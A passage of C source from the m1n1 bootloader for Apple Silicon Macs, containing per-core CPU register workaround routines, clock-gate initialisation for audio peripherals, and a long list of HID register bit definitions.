HID3_DEV_PCIE_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_HID18, HID18_GEXIT_EL_SPECULATION_DISABLE | HID18_GENTER_SPECULATION_DISABLE); reg_set(SYS_IMP_APL_HID16, HID16_AVL_UNK12); if (rev == 0) { reg_set(SYS_IMP_APL_HID7, HID7_FORCE_NONSPEC_IF_SPEC_FLUSH_POINTER_INVALID_AND_MP_VALID); reg_mask(SYS_IMP_APL_HID7, HID7_FORCE_NONSPEC_TARGET_TIMER_SEL_MASK, HID7_FORCE_NONSPEC_TARGET_TIMER_SEL(3)); } } void init_t6020_avalanche(int rev) { UNUSED(rev); init_common_avalanche(); reg_mask(SYS_IMP_APL_HID3, HID3_DEV_PCIE_THROTTLE_LIMIT_MASK, HID3_DEV_PCIE_THROTTLE_LIMIT(62)); reg_set(SYS_IMP_APL_HID3, HID3_DEV_PCIE_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_HID18, HID18_GEXIT_EL_SPECULATION_DISABLE | HID18_GENTER_SPECULATION_DISABLE); reg_set(SYS_IMP_APL_HID16, HID16_AVL_UNK12); reg_mask(SYS_IMP_APL_HID5, HID5_BLZ_UNK_19_18_MASK, HID5_BLZ_UNK18); } void init_t6021_avalanche(int rev) { UNUSED(rev); init_common_avalanche(); reg_mask(SYS_IMP_APL_HID3, HID3_DEV_PCIE_THROTTLE_LIMIT_MASK, HID3_DEV_PCIE_THROTTLE_LIMIT(62)); reg_set(SYS_IMP_APL_HID3, HID3_DEV_PCIE_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_HID18, HID18_GEXIT_EL_SPECULATION_DISABLE | HID18_GENTER_SPECULATION_DISABLE); reg_set(SYS_IMP_APL_HID16, HID16_AVL_UNK12); reg_mask(SYS_IMP_APL_HID5, HID5_BLZ_UNK_19_18_MASK, HID5_BLZ_UNK19); } m1n1-1.4.11/src/chickens_blizzard.c000066400000000000000000000021671453754430200170120ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "utils.h" static void init_common_blizzard(void) { reg_set(SYS_IMP_APL_EHID0, EHID0_BLI_UNK32); } void init_t8112_blizzard(void) { init_common_blizzard(); reg_mask(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_LIMIT_MASK, EHID9_DEV_2_THROTTLE_LIMIT(60)); reg_set(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_EHID18, EHID18_BLZ_UNK34); } void init_t6020_blizzard(void) { init_common_blizzard(); reg_mask(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_LIMIT_MASK, EHID9_DEV_2_THROTTLE_LIMIT(62)); reg_set(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_EHID18, EHID18_BLZ_UNK34); reg_mask(SYS_IMP_APL_HID5, HID5_BLZ_UNK_19_18_MASK, HID5_BLZ_UNK18); } void init_t6021_blizzard(void) { init_common_blizzard(); reg_mask(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_LIMIT_MASK, EHID9_DEV_2_THROTTLE_LIMIT(62)); reg_set(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_EHID18, EHID18_BLZ_UNK34); reg_mask(SYS_IMP_APL_HID5, HID5_BLZ_UNK_19_18_MASK, HID5_BLZ_UNK19); } m1n1-1.4.11/src/chickens_everest.c000066400000000000000000000042411453754430200166410ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "uart.h" #include "utils.h" static void init_common_everest(void) { reg_set(SYS_IMP_APL_HID12, BIT(46)); reg_set(SYS_IMP_APL_HID3, BIT(63)); reg_mask(SYS_IMP_APL_HID3, GENMASK(ULONG(62), ULONG(56)), BIT(60) | BIT(59) | BIT(58)); reg_clr(SYS_IMP_APL_HID3, BIT(4)); reg_set(SYS_IMP_APL_HID9, BIT(17)); reg_mask(SYS_IMP_APL_HID13, HID13_POST_OFF_CYCLES_MASK | HID13_POST_ON_CYCLES_MASK | HID13_PRE_CYCLES_MASK | HID13_GROUP0_FF1_DELAY_MASK | HID13_GROUP0_FF2_DELAY_MASK | HID13_GROUP0_FF3_DELAY_MASK | HID13_GROUP0_FF4_DELAY_MASK | HID13_GROUP0_FF5_DELAY_MASK | HID13_GROUP0_FF6_DELAY_MASK | HID13_GROUP0_FF7_DELAY_MASK | HID13_RESET_CYCLES_MASK, HID13_POST_OFF_CYCLES(4) | HID13_POST_ON_CYCLES(5) | HID13_PRE_CYCLES(1) | HID13_GROUP0_FF1_DELAY(4) | HID13_GROUP0_FF2_DELAY(4) | HID13_GROUP0_FF3_DELAY(4) | HID13_GROUP0_FF4_DELAY(4) | HID13_GROUP0_FF5_DELAY(4) | HID13_GROUP0_FF6_DELAY(4) | HID13_GROUP0_FF7_DELAY(4) | HID13_RESET_CYCLES(0)); reg_set(SYS_IMP_APL_HID16, BIT(54)); reg_set(SYS_IMP_APL_HID18, HID18_GEXIT_EL_SPECULATION_DISABLE | HID18_GENTER_SPECULATION_DISABLE); msr(SYS_IMP_APL_HID26, HID26_GROUP1_OFFSET(0xF88F65588LL) | HID26_GROUP2_OFFSET(0x3F28)); reg_mask(SYS_IMP_APL_HID27, GENMASK(43, 40) | GENMASK(39, 36) | GENMASK(35, 32) | GENMASK(31, 28) | GENMASK(27, 24) | GENMASK(23, 20) | GENMASK(19, 16) | GENMASK(15, 8) | GENMASK(7, 4) | GENMASK(3, 0), BIT(40) | BIT(36) | BIT(32) | BIT(28) | BIT(24) | BIT(20) | BIT(16) | 0x2b00uL | BIT(4) | BIT(0)); /* This is new to M3 and i have no idea what it is yet */ reg_set(s3_0_c15_c2_3, BIT(3)); reg_clr(s3_0_c15_c2_4, BIT(0) | BIT(1) | BIT(16) | BIT(17) | BIT(18) | BIT(22)); } void init_t6031_everest(int rev) { UNUSED(rev); msr(s3_1_c15_c1_5, 0x3uL); msr(s3_4_c15_c14_6, 0x3uL); init_common_everest(); reg_set(SYS_IMP_APL_HID4, HID4_ENABLE_LFSR_STALL_LOAD_PIPE2_ISSUE); }m1n1-1.4.11/src/chickens_firestorm.c000066400000000000000000000072231453754430200172010ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "utils.h" static void init_common_firestorm(void) { reg_set(SYS_IMP_APL_HID0, HID0_SAME_PG_POWER_OPTIMIZATION); // Disable SMC trapping to EL2 reg_clr(SYS_IMP_APL_HID1, HID1_TRAP_SMC); reg_clr(SYS_IMP_APL_HID3, HID3_DEV_PCIE_THROTTLE_ENABLE | HID3_DISABLE_ARBITER_FIX_BIF_CRD); // "Post-silicon tuning of STNT widget contiguous counter threshold" reg_mask(SYS_IMP_APL_HID4, HID4_CNF_CNTR_THRESH_MASK, HID4_CNF_CNTR_THRESH(3)); // "Sibling Merge in LLC can cause UC load to violate ARM Memory Ordering Rules." reg_set(SYS_IMP_APL_HID5, HID5_DISABLE_FILL_2C_MERGE); reg_set(SYS_IMP_APL_HID9, HID9_TSO_ALLOW_DC_ZVA_WC); reg_set(SYS_IMP_APL_HID11, HID11_DISABLE_LD_NT_WIDGET); // "configure dummy cycles to work around incorrect temp sensor readings on // NEX power gating" reg_mask(SYS_IMP_APL_HID13, HID13_PRE_CYCLES_MASK, HID13_PRE_CYCLES(4)); // Best bit names... // Maybe: "RF bank and Multipass conflict forward progress widget does not // handle 3+ cycle livelock" reg_set(SYS_IMP_APL_HID16, HID16_SPAREBIT0 | HID16_SPAREBIT3 | HID16_ENABLE_MPX_PICK_45 | HID16_ENABLE_MP_CYCLONE_7); } static void init_m1_firestorm(void) { init_common_firestorm(); // "Cross-beat Crypto(AES/PMUL) ICache fusion is not disabled for branch // unconditional "recoded instruction." reg_set(SYS_IMP_APL_HID0, HID0_FETCH_WIDTH_DISABLE | HID0_CACHE_FUSION_DISABLE); reg_set(SYS_IMP_APL_HID7, HID7_FORCE_NONSPEC_IF_STEPPING | HID7_FORCE_NONSPEC_IF_SPEC_FLUSH_POINTER_INVALID_AND_MP_VALID); reg_mask(SYS_IMP_APL_HID7, HID7_FORCE_NONSPEC_TARGET_TIMER_SEL_MASK, HID7_FORCE_NONSPEC_TARGET_TIMER_SEL(3)); reg_set(SYS_IMP_APL_HID9, HID9_TSO_SERIALIZE_VLD_MICROOPS | HID9_FIX_BUG_51667805); reg_set(SYS_IMP_APL_HID18, HID18_HVC_SPECULATION_DISABLE); reg_clr(SYS_IMP_APL_HID21, HID21_ENABLE_LDREX_FILL_REPLY); } void init_t8103_firestorm(int rev) { init_m1_firestorm(); reg_mask(SYS_IMP_APL_HID6, HID6_UP_CRD_TKN_INIT_C2_MASK, HID6_UP_CRD_TKN_INIT_C2(0)); if (rev >= 0x10) { reg_set(SYS_IMP_APL_HID4, HID4_ENABLE_LFSR_STALL_LOAD_PIPE2_ISSUE | HID4_ENABLE_LFSR_STALL_STQ_REPLAY); reg_set(SYS_IMP_APL_HID9, HID9_FIX_BUG_55719865); reg_set(SYS_IMP_APL_HID11, HID11_ENABLE_FIX_UC_55719865); } if (rev == 0x11) reg_set(SYS_IMP_APL_HID1, HID1_ENABLE_MDSB_STALL_PIPELINE_ECO | HID1_ENABLE_BR_KILL_LIMIT); if (rev >= 0x11) reg_set(SYS_IMP_APL_HID18, HID18_PREF_REPLAY_DISABLE); } void init_t6000_firestorm(int rev) { init_m1_firestorm(); reg_set(SYS_IMP_APL_HID9, HID9_FIX_BUG_55719865); reg_set(SYS_IMP_APL_HID11, HID11_ENABLE_FIX_UC_55719865); if (rev >= 0x10) { reg_set(SYS_IMP_APL_HID1, HID1_ENABLE_MDSB_STALL_PIPELINE_ECO | HID1_ENABLE_BR_KILL_LIMIT); reg_set(SYS_IMP_APL_HID4, HID4_ENABLE_LFSR_STALL_LOAD_PIPE2_ISSUE | HID4_ENABLE_LFSR_STALL_STQ_REPLAY); reg_set(SYS_IMP_APL_HID18, HID18_PREF_REPLAY_DISABLE); } } void init_t6001_firestorm(int rev) { init_m1_firestorm(); reg_set(SYS_IMP_APL_HID1, HID1_ENABLE_MDSB_STALL_PIPELINE_ECO); reg_set(SYS_IMP_APL_HID4, HID4_ENABLE_LFSR_STALL_LOAD_PIPE2_ISSUE | HID4_ENABLE_LFSR_STALL_STQ_REPLAY); reg_set(SYS_IMP_APL_HID9, HID9_FIX_BUG_55719865); reg_set(SYS_IMP_APL_HID11, HID11_ENABLE_FIX_UC_55719865); if (rev >= 0x10) { reg_set(SYS_IMP_APL_HID1, HID1_ENABLE_BR_KILL_LIMIT); reg_set(SYS_IMP_APL_HID18, HID18_PREF_REPLAY_DISABLE); } } m1n1-1.4.11/src/chickens_icestorm.c000066400000000000000000000017501453754430200170130ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "utils.h" static void init_common_icestorm(void) { // "Sibling Merge in LLC can cause UC load to violate ARM Memory Ordering Rules." reg_set(SYS_IMP_APL_HID5, HID5_DISABLE_FILL_2C_MERGE); reg_clr(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_ENABLE); // "Prevent store-to-load forwarding for UC memory to avoid barrier ordering // violation" reg_set(SYS_IMP_APL_EHID10, HID10_FORCE_WAIT_STATE_DRAIN_UC | HID10_DISABLE_ZVA_TEMPORAL_TSO); // Disable SMC trapping to EL2 reg_clr(SYS_IMP_APL_EHID20, EHID20_TRAP_SMC); } void init_m1_icestorm(void) { init_common_icestorm(); reg_set(SYS_IMP_APL_EHID20, EHID20_FORCE_NONSPEC_IF_OLDEST_REDIR_VALID_AND_OLDER | EHID20_FORCE_NONSPEC_IF_SPEC_FLUSH_POINTER_NE_BLK_RTR_POINTER); reg_mask(SYS_IMP_APL_EHID20, EHID20_FORCE_NONSPEC_TARGETED_TIMER_SEL_MASK, EHID20_FORCE_NONSPEC_TARGETED_TIMER_SEL(3)); } m1n1-1.4.11/src/chickens_sawtooth.c000066400000000000000000000010071453754430200170310ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "cpu_regs.h" #include "utils.h" static void init_common_sawtooth(void) { reg_set(SYS_IMP_APL_EHID0, EHID0_BLI_UNK32); } void init_t6031_sawtooth(void) { init_common_sawtooth(); reg_mask(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_LIMIT_MASK, EHID9_DEV_2_THROTTLE_LIMIT(62)); reg_set(SYS_IMP_APL_EHID9, EHID9_DEV_2_THROTTLE_ENABLE); reg_set(SYS_IMP_APL_EHID18, EHID18_BLZ_UNK34); reg_mask(SYS_IMP_APL_HID5, HID5_BLZ_UNK_19_18_MASK, HID5_BLZ_UNK19); } m1n1-1.4.11/src/clk.c000066400000000000000000000072551453754430200140760ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "clk.h" #include "adt.h" #include "soc.h" #include "types.h" #include "utils.h" #define CLK_ENABLE BIT(31) #define CLK_MUX GENMASK(27, 24) #define NCO_BASE 5 #define NUM_NCOS 5 void clk_set_mca_muxes(void) { int path[8]; int node = adt_path_offset_trace(adt, "/arm-io/mca-switch", path); if (node < 0) { printf("mca-switch node not found!\n"); return; } u64 mca_clk_base, mca_clk_size; if (adt_get_reg(adt, path, "reg", 2, &mca_clk_base, &mca_clk_size)) { printf("Failed to get mca-switch reg property!\n"); return; } printf("CLK: MCA clock registers @ 0x%lx (0x%lx)\n", mca_clk_base, mca_clk_size); unsigned int i; for (i = 0; i < (mca_clk_size / 4); i++) mask32(mca_clk_base + 4 * i, CLK_MUX, FIELD_PREP(CLK_MUX, NCO_BASE + min(NUM_NCOS - 1, i))); printf("CLK: Initialized %d MCA clock muxes\n", i); } struct soc_pdm_clk_data { int soc; uint64_t leap_pdm_feed_clkgates[10]; uint64_t pdm_pin_clkgates[10]; }; struct soc_pdm_clk_data pdm_clk_data_t8103 = { .pdm_pin_clkgates = { 0x23d240334, 0x23d240338, 0x23d24033c, 0x23d240340, 0x23d240344, 0x23d240348, }, .leap_pdm_feed_clkgates = { 0x23d24035c, 0x23d240360, 0x23d240364, 0x23d240368, 0x23d24036c, 0x23d240370, }, }; struct soc_pdm_clk_data pdm_clk_data_t600x = { .pdm_pin_clkgates = { 0x292240348, 0x29224034c, 0x292240350, 0x292240354, 0x292240358, 0x29224035c, }, .leap_pdm_feed_clkgates = { 0x292240360, 0x292240364, 0x292240368, 0x29224036c, 0x292240370, 0x292240374, }, }; struct soc_pdm_clk_data pdm_clk_data_t8110 = { /* FILL ME: range 0x23d240300...0x23d24037c */ }; struct soc_pdm_clk_data pdm_clk_data_t602x = { /* FILL ME: range 0x29e240300...0x29e240374 */ }; void clk_ungate_pdm_channels(struct soc_pdm_clk_data *data, int chanmask) { int nhits = 0; for (int i = 0; chanmask >> i != 0; i += 1) { if (chanmask & BIT(i)) { mask32(data->pdm_pin_clkgates[i / 2], CLK_ENABLE, CLK_ENABLE); mask32(data->leap_pdm_feed_clkgates[i / 2], CLK_ENABLE, CLK_ENABLE); nhits++; } } printf("CLK: Un-gated clocks of %d PDM channels\n", nhits); } void clk_set_pdm_gates(void) { int alc_node = adt_path_offset(adt, "/arm-io/alc0"); if (alc_node < 0) { printf("CLK: Model has no internal microphones, skipping PDM clock init\n"); return; } /* * We don't need to differentiate between machine models here since Apple * seems to always use the same arrangement on all models with a given SoC. */ switch (chip_id) { case T8103: clk_ungate_pdm_channels(&pdm_clk_data_t8103, BIT(6) | BIT(7) | BIT(9)); break; case T6000 ... T6002: clk_ungate_pdm_channels(&pdm_clk_data_t600x, BIT(6) | BIT(7) | BIT(9)); break; // TODO: missing clk_data for the SoCs below #if 0 case T8110: clk_ungate_pdm_channels(&pdm_clk_data_t8110, BIT(2) | BIT(3) | BIT(5)); break; case T6020 ... T6021: clk_ungate_pdm_channels(&pdm_clk_data_t602x, BIT(2) | BIT(3) | BIT(9)); break; #endif default: printf("CLK: Missing SoC PDM clock data\n"); break; } } void clk_init(void) { clk_set_mca_muxes(); clk_set_pdm_gates(); } m1n1-1.4.11/src/clk.h000066400000000000000000000001461453754430200140730ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef __CLK_H__ #define __CLK_H__ void clk_init(void); #endif m1n1-1.4.11/src/cpu_regs.h000066400000000000000000001040361453754430200151340ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "arm_cpu_regs.h" #include "types.h" /* ARM extensions */ #define ESR_EC_IMPDEF 0b111111 #define ESR_ISS_IMPDEF_MSR 0x20 #define SYS_IMP_APL_ACTLR_EL12 sys_reg(3, 6, 15, 14, 6) #define SYS_IMP_APL_AMX_CTL_EL1 sys_reg(3, 4, 15, 1, 4) #define SYS_IMP_APL_AMX_CTL_EL2 sys_reg(3, 4, 15, 4, 7) #define SYS_IMP_APL_AMX_CTL_EL12 sys_reg(3, 4, 15, 4, 6) #define AMX_CTL_EN BIT(63) #define AMX_CTL_EN_EL1 BIT(62) #define SYS_IMP_APL_CNTVCT_ALIAS_EL0 sys_reg(3, 4, 15, 10, 6) /* HID registers */ #define SYS_IMP_APL_HID0 sys_reg(3, 0, 15, 0, 0) #define HID0_FETCH_WIDTH_DISABLE BIT(28) #define HID0_CACHE_FUSION_DISABLE BIT(36) #define HID0_SAME_PG_POWER_OPTIMIZATION BIT(45) #define SYS_IMP_APL_EHID0 sys_reg(3, 0, 15, 0, 1) #define EHID0_BLI_UNK32 BIT(32) #define SYS_IMP_APL_HID1 sys_reg(3, 0, 15, 1, 0) #define HID1_RSS_FORCE_NS_ISSUE BIT(0) #define HID1_RSS_FORCE_NS_SPR_RD BIT(1) #define HID1_RSS_DIS_NS_STREAMING BIT(2) #define HID1_REDIR_FORCE_SPR_SYNC BIT(3) #define HID1_LSP_DISABLE BIT(4) #define HID1_FORCE_SSBS_ORDERING BIT(5) #define HID1_LSP_AGE_OUT_INTERVAL BIT(6) #define HID1_DIS_INT_ZCM BIT(8) #define HID1_DIS_NEON_ZCM BIT(9) #define HID1_FORCE_SPR_L3_CLK_ON BIT(10) #define HID1_DIS_MULT_RETIRE BIT(11) #define HID1_DIS_MULT_INDIR_BR_RETIRE BIT(12) #define HID1_DIS_BR_DISP_SYS_RSLVD_PTR BIT(13) #define HID1_DIS_CMP_BR_FUSION BIT(14) #define HID1_FORCE_NEX_L3_CLK_ON BIT(15) #define HID1_INTDISP_LIM_MODE BIT(16) #define HID1_NEON_DISP_LIM_MODE BIT(17) #define HID1_FORCE_PRECISE_NEON_GRP_MODE BIT(18) #define HID1_RCC_FORCE_ALL_MDR_L6_CLKS_ON BIT(19) #define HID1_RCC_FORCE_ALL_MDR_L3_CLKS_ON BIT(20) #define HID1_RCC_DIS_STALL_INACTIVE_MDR_CTL BIT(21) #define HID1_ZCL_RF_RESTART_THRESHOLD(x) ((ULONG(x)) << 22) #define HID1_ZCL_RF_RESTART_THRESHOLD_MASK GENMASK(23, 22) #define HID1_DIS_SPEC_MDSB_INVL_ROB_FLUSH BIT(24) #define HID1_DIS_LSP_FLUSH_WITH_CONTEXT_SWITCH BIT(25) #define HID1_DIS_WFE BIT(26) #define HID1_DIS_WFI BIT(27) #define HID1_EN_CS_RFOR_SP_SEL_IMM BIT(28) #define HID1_RCC_FORCE_CHKPT_L3_CLKS_ON BIT(29) #define HID1_DISABLE_CHKPT BIT(30) #define HID1_EN_SICILY_SDSB BIT(31) #define HID1_FORCE_WFE BIT(32) #define HID1_FORCE_GRP_BNDRY_ON_INST_END BIT(33) #define HID1_FORCE_GRP_BNDRY_ON_UCODE_END BIT(34) #define HID1_DIS_LCL_TIME_BASE BIT(35) #define HID1_EN_CS_RFOR_PAN_IMM BIT(36) #define HID1_EN_CS_RFOR_AMXT_IMM BIT(37) #define HID1_ZCL_SP_MISPREDICT_THRESHOLD(x) ((ULONG(x)) << 38) #define HID1_ZCL_SP_MISPREDICT_THRESHOLD_MASK GENMASK(39, 38) #define HID1_ZCL_SP_RESTART_THRESHOLD(x) ((ULONG(x)) << 40) #define HID1_ZCL_SP_RESTART_THRESHOLD_MASK GENMASK(41, 40) #define HID1_ZCL_RF_MISPREDICT_THRESHOLD(x) ((ULONG(x)) << 42) #define HID1_ZCL_RF_MISPREDICT_THRESHOLD_MASK GENMASK(43, 42) #define HID1_CONSERVATIVE_SIQ BIT(44) #define HID1_DIS_AES_FUSION BIT(45) #define HID1_RSS_DIS_MULTIPLE_CPM_IN_FLIGHT BIT(46) #define HID1_DIS_HW_TRACE_SYNC BIT(47) #define HID1_DIS_HW_TRACE_SYNC_ON_UARCH_REDIR BIT(48) #define HID1_DIS_MSR_SPEC_DAIF BIT(49) #define HID1_DIS_MRS_SPEC_DAIF BIT(50) #define HID1_DIS_MSR_SPEC_NON_DAIF BIT(51) #define HID1_DIS_MRS_SPEC_NON_DAIF BIT(52) #define HID1_DIS_DBG_PROG_OVRD BIT(53) #define HID1_TRAP_SMC BIT(54) #define HID1_ENABLE_MDSB_STALL_PIPELINE_ECO BIT(58) #define HID1_ENABLE_BR_KILL_LIMIT BIT(60) #define HID1_CPMU_DEBUG_OVF BIT(61) #define HID1_ZCL_RF_GNUM_DIST_MODE BIT(62) #define SYS_IMP_APL_EHID1 sys_reg(3, 0, 15, 1, 1) #define EHID1_RSS_FORCE_NS_ISSUE BIT(0) #define EHID1_RSS_FORCE_NS_SPR_RD BIT(1) #define EHID1_RSS_DIS_NS_STREAMING BIT(2) #define EHID1_REDIR_FORCE_SPR_SYNC BIT(3) #define EHID1_LSP_MODE(x) ((ULONG(X)) << 4) #define EHID1_LSP_MODE_MASK GENMASK(5, 4) #define EHID1_LSP_AGE_OUT_INTERVAL(x) ((ULONG(X)) << 6) #define EHID1_LSP_AGE_OUT_INTERVAL_MASK GENMASK(7, 6) #define EHID1_RSS_DIS_MULTIPLE_CPM_IN_FLIGHT BIT(8) #define EHID1_EN_CS_RFOR_AMXSETCLR BIT(9) #define EHID1_FORCE_SPR_L3_CLK_ON BIT(10) #define EHID1_DIS_MULT_RETIRE BIT(11) #define EHID1_DIS_MULT_INDIR_BR_RETIRE BIT(12) #define EHID1_DIS_BR_SYS_RSLV_PTR BIT(13) #define EHID1_DIS_CMP_BR_FUSION BIT(14) #define EHID1_FORCE_NEX_L3_CLK_ON BIT(15) #define EHID1_DIS_LCL_TIME_BASE BIT(16) #define EHID1_NEON_DISP_LIM_MODE BIT(17) #define EHID1_EN_CS_RFOR_PAN_IMM BIT(18) #define EHID1_RCC_FORCE_ALL_MDR_L6_CLKS_ON BIT(19) #define EHID1_RCC_FORCE_ALL_MDR_L3_CLKS_ON BIT(20) #define EHID1_RCC_DIS_STALL_INACTIVE_MDR_CTL BIT(21) #define EHID1_RCC_FORCE_ALL_IEX_L6_CLKS_ON BIT(22) #define EHID1_RCC_FORCE_ALL_IEX_L3_CLKS_ON BIT(23) #define EHID1_RCC_DIS_STALL_INACTIVE_IEX_CTL BIT(24) #define EHID1_DIS_LSP_FLUSH_WITH_CONTEXT_SWITCH BIT(25) #define EHID1_DIS_WFE BIT(26) #define EHID1_DIS_WFI BIT(27) #define EHID1_EN_CS_RFOR_SP_SEL_IMM BIT(28) #define EHID1_DIS_LSP_TRAIN_FILTER BIT(29) #define EHID1_DIS_MSR_SPEC_DAIF BIT(30) #define EHID1_DISABLE_CMP_BR_ACROSS_GRP BIT(31) #define EHID1_FORCE_WFE BIT(32) #define EHID1_FORCE_GRP_BNDRY_ON_INST_END BIT(33) #define EHID1_FORCE_GRP_BNDRY_ON_UCODE_END BIT(34) #define EHID1_LSP_CNT_INIT_VALUE(x) ((ULONG(X)) << 35) #define EHID1_LSP_CNT_INIT_VALUE_MASK GENMASK(37, 35) #define EHID1_LSP_CNT_RETRAIN_VALUE(x) ((ULONG(X)) << 38) #define EHID1_LSP_CNT_RETRAIN_VALUE_MASK GENMASK(40, 38) #define EHID1_LSP_CNT_INC_VALUE(x) ((ULONG(X)) << 41) #define EHID1_LSP_CNT_INC_VALUE_MASK GENMASK(43, 41) #define EHID1_LSP_CNT_RPLY_INIT_VALUE(x) ((ULONG(X)) << 44) #define EHID1_LSP_CNT_RPLY_INIT_VALUE_MASK GENMASK(46, 44) #define EHID1_DIS_MRS_SPEC_DAIF BIT(47) #define EHID1_PCSAMPLE_ALLRETIRES BIT(48) #define EHID1_DIS_AES_FUSION BIT(49) #define EHID1_DIS_ZCM BIT(50) #define EHID1_DIS_RETIRE_GREATER_THAN_TWO_GROUPS BIT(51) #define EHID1_LFSR_SEED(x) ((ULONG(X)) << 52) #define EHID1_LFSR_SEED_MASK GENMASK(58, 52) #define EHID1_EN_LFSR_STALL_RS01 BIT(59) #define EHID1_EN_LFSR_STALL_RS4 BIT(60) #define EHID1_CPMU_DEBUG_OVF BIT(61) #define EHID1_EN_LFSR_STALL_RS6 BIT(62) #define EHID1_EN_LFSR BIT(63) #define SYS_IMP_APL_HID3 sys_reg(3, 0, 15, 3, 0) #define HID3_DISABLE_ARBITER_FIX_BIF_CRD BIT(44) #define HID3_DEV_PCIE_THROTTLE_LIMIT_MASK GENMASK(62, 57) #define HID3_DEV_PCIE_THROTTLE_LIMIT(x) ((ULONG(x)) << 57) #define HID3_DEV_PCIE_THROTTLE_ENABLE BIT(63) #define SYS_IMP_APL_HID4 sys_reg(3, 0, 15, 4, 0) #define HID4_INV_CORE_CLK_OBS_TO_SOC BIT(0) #define HID4_DISABLE_STNT_WIDGET BIT(1) #define HID4_DISABLE_SW_PRELOAD BIT(2) #define HID4_DISABLE_ST_LD_REDIR_MULTI_HIT_CHK BIT(3) #define HID4_FORCE_CPU_OLDEST_IN_ORDER BIT(4) #define HID4_FORCE_S_STEP_STORE_COMMIT BIT(5) #define HID4_FORCE_S_STEP_PASS2_TO_CIF BIT(6) #define HID4_FORCE_ST_LNCH_NO_OLDER_LD BIT(7) #define HID4_DISABLE_LD_RTR_AHEAD_OLDER_ST BIT(8) #define HID4_DISABLE_SPEC_LS_REDIRECT BIT(9) #define HID4_DISABLE_SPEC_LDREX_PLAN_B BIT(10) #define HID4_DISABLE_DC_MVA BIT(11) #define HID4_ENABLE_CORE_CLK_OBS_TO_SOC BIT(12) #define HID4_RCC_FORCE_ALL_LSI_L6_CLKS_ON BIT(13) #define HID4_RCC_FORCE_ALL_LSU_L3_CLKS_ON BIT(14) #define HID4_RCC_DIS_STALL_INACTIVE_LSU_CTL BIT(15) #define HID4_DIS_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION BIT(16) #define HID4_CT0_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION(x) ((ULONG(x)) << 17) #define HID4_CT0_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION_MASK GENMASK(19, 17) #define HID4_CT1_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION(x) ((ULONG(x)) << 20) #define HID4_CT1_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION_MASK GENMASK(22, 20) #define HID4_CT2_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION(x) ((ULONG(x)) << 23) #define HID4_CT2_ANTI_LIVELOCK_ON_LOCK_VICTIMIZATION_MASK GENMASK(25, 23) #define HID4_CT0_ANTI_LIVELOCK_ON_OLDEST_LD_ST_REPLAY(x) ((ULONG(x)) << 26) #define HID4_CT0_ANTI_LIVELOCK_ON_OLDEST_LD_ST_REPLAY_MASK GENMASK(28, 26) #define HID4_CT0_ANTI_LIVELOCK_ON_LS_ISS_STALL_ON_LS_REPLAY(x) ((ULONG(x)) << 29) #define HID4_CT0_ANTI_LIVELOCK_ON_LS_ISS_STALL_ON_LS_REPLAY_MASK GENMASK(31, 29) #define HID4_DIS_ST_RTR_AHEAD_OLDER_LD BIT(32) #define HID4_DIS_SPEC_LNCH_READ BIT(33) #define HID4_FORCE_NS_ORD_LD_REQ_NO_OLDER_ST BIT(34) #define HID4_NON_CNTG_THRESH(x) ((ULONG(x)) << 35) #define HID4_NON_CNTG_THRESH_MASK GENMASK(36, 35) #define HID4_FORCE_YNG_LD_FLUSH_ON_BAR_OP BIT(37) #define HID4_FORCE_YNG_LD_FLUSH_ON_LD_ACQ BIT(38) #define HID4_FORCE_NS_ORD_LD_REQ_NO_OLDER_LD BIT(39) #define HID4_CNF_CNTR_THRESH(x) ((ULONG(x)) << 40) #define HID4_CNF_CNTR_THRESH_MASK GENMASK(41, 40) #define HID4_FORCE_BAR_LNCH_NO_OLDER_ST BIT(42) #define HID4_DISABLE_PWR_SAVE_LNBUF_CLK_OFF BIT(43) #define HID4_DISABLE_DC_SW_L2_OPS BIT(44) #define HID4_FORCE_NS_ORD_LD_REQ_NO_IN_PIPE_ORD_LD BIT(45) #define HID4_ENABLE_LFSR_STALL_STQ_RTR(x) ((ULONG(x)) << 46) #define HID4_ENABLE_LFSR_STALL_STQ_RTR_MASK GENMASK(47, 46) #define HID4_ENABLE_LFSR_STALL_LDQ_RTR BIT(48) #define HID4_ENABLE_LFSR_STALL_LOAD_PIPE2_ISSUE BIT(49) #define HID4_ENABLE_LFSR_STALL_PASS2_LAUNCH BIT(50) #define HID4_ENABLE_LFSR_STALL_LOAD_STORE_PIPE1_ISSUE BIT(51) #define HID4_ENABLE_LFSR_STALL_LOAD_STORE_PIPE0_ISSUE BIT(52) #define HID4_ENABLE_LFSR_STALL_STQ_REPLAY BIT(53) #define HID4_ENABLE_LFSR_STALL_LDQ_REPLAY BIT(54) #define HID4_ENABLE_LFSR_STALL_SMB_DRAIN BIT(55) #define HID4_LFSR_SEED(x) ((ULONG(x)) << 56) #define HID4_LFSR_SEED_MASK GENMASK(62, 56) #define HID4_ENABLE_LFSR BIT(63) #define SYS_IMP_APL_EHID4 sys_reg(3, 0, 15, 4, 1) #define 